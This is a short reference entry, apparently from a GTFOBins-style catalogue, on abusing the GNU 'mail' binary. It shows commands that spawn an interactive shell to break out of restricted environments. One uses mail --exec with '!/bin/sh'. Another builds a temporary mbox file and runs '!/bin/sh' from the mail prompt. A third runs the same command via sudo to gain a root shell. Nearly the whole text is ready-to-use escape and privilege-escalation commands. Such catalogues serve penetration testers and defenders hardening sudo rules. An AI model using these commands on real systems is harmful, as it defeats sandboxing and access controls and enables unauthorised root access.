It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only.
mail --exec='!/bin/sh'
This creates a valid Mbox file which may be required by the binary.
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
GNU version only.
sudo mail --exec='!/bin/sh'